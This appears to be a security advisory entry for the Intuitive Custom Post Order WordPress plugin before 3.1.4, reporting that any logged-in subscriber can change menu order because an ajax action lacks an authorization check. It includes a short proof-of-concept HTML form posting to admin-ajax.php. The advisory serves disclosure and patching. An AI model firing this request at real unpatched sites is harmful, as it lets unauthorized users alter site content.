WordPress Plugin Vulnerabilities

Intuitive Custom Post Order < 3.1.4 - Subscriber+ Arbitrary Menu Order Update

Description

The plugin does not check for authorization in the update-menu-order ajax action, allowing any logged in user (with roles as low as Subscriber) to update the menu order

Proof of Concept

Open the below HTML while being logged in as a subscriber

<html> <body> <form action="https://example.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="update-menu-order" /> <input type="hidden" name="order" value="post[]=7&post[]=5" /> <input type="submit" value="Submit request" /> </form> </body> </html>

Affects Plugins

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Yuya Kotake
Submitter
Yuya Kotake
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-01-24 (about 1 years ago)
Added
2023-01-24 (about 1 years ago)
Last Updated
2023-02-24 (about 1 years ago)

Other